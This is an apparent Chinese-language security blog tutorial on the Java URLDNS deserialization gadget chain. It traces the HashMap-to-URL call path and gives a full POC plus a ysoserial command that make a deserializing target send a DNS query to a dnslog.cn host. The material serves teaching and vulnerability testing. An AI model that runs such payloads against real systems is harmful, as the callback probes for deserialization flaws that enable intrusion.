文章目录
- [java安全]URLDNS
- 前言
- HashMap
- URL
- URLStreamHandler
- 调用过程
- 调用链
- 流程图
- POC
[java安全]URLDNS
前言
URLDNS利用链是一条很简单的链子,可以用来查看java反序列化是否存在反序列化漏洞,如果存在,就会触发dns查询请求
它有如下优点:
使用java内置类构造,对第三方库没有依赖
在目标没有回显的时候,可以使用DNS请求得知是否存在反序列化漏洞
在ysoserial下生成URLDNS的命令为:
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"
在学习URLDNS之前,我们需要了解一些java内置的类
HashMap
在HashMap的类中有readObject()
方法,
我们知道,如果一个类重写了readObject()方法,那么在反序列化时,就会执行重写的readObject()方法
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();...// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}
在HashMap的readObject()
方法中调用了hash()
方法,于是我们过去hash方法中看一下:
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
发现调用了key
变量的hashCode()
方法,这里的key是可以控制的
这里我们就知道需要一个新的类了:
URL
在 java.net.URL
类中存在一个hashCode方法:
public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;}
hashCode变量初值为-1
private int hashCode = -1;
当hashCode
变量不等于-1时,就会return结束函数
当hashCode=-1
,会调用 handler
的hashCode方法,参数是URL类的对象
然后我们查看一下handler
类是什么类型:
transient URLStreamHandler handler;
发现是URLStreamHandler
类,于是我们再查看一下该类
URLStreamHandler
hashCode方法
protected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);...}
发现调用了getHostAddress()
,参数为URL类对象,查看一下 getHostAddress()方法
protected synchronized InetAddress getHostAddress(URL u) {if (u.hostAddress != null)return u.hostAddress;String host = u.getHost();if (host == null || host.equals("")) {return null;} else {try {u.hostAddress = InetAddress.getByName(host);} catch (UnknownHostException ex) {return null;} catch (SecurityException se) {return null;}}return u.hostAddress;}
这个方法中有一个函数调用InetAddress.getByName(host)
,获取目标主机的ip地址,其实就是进行了一次DNS查询
调用过程
我们捋一下过程
我们可以先创建一个HashMap对象
,然后让键的类型为URL
,例如:
HashMap<URL, String> hashMap = new HashMap<URL, String>();
然后创建一个URL
类对象,参数我们传入DNS平台的url即可
这里有一些很重要的注意点
如何我们直接调用Map的put()
,将HashMap中添加一个元素,可能会导致误触URL请求
我们看一下HashMap的put()方法
:
public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}
发现put方法也会调用hash()方法,所以我们需要想办法避免触发
我们想到URL
类中的hashCode变量初值为-1,当值为-1时URL类中的hashCode()方法会return返回,所以我们可以将URL对象添加到HashMap之前将hashCode变量设置为其他值即可
如何才能设置hashCode等于其他值呢?
我们需要使用java反射:
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法
f.setAccessible(true); //hashCode是私有变量,所以要设置访问权限
// hashMap.put时会调用hash(key),这里先把hashCode(初值为-1)设置为其他值,避免和后面的DNS请求混淆,导致触发dns
f.set(url, 0xAAA);
添加到HashMap中之后,我们需要使用反射把hashCode=-1
调用链
HashMap.readObject()HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()
流程图
POC
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {public static Object urldns() throws Exception{//漏洞出发点 hashmap,实例化出来HashMap<URL, String> hashMap = new HashMap<URL, String>(); //URL对象传入自己测试的dnslogURL url = new URL("http://txbjb7.dnslog.cn"); //反射获取 URL的hashcode方法Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法f.setAccessible(true);// hashMap.put时会调用hash(key),这里先把hashCode设置为其他值,避免和后面的DNS请求混淆f.set(url, 0xAAA);hashMap.put(url, "leekos");// hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCodef.set(url, -1);// 序列化成对象,输出出来return hashMap;}public static void main(String[] args) throws Exception {payload2File(urldns(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}
}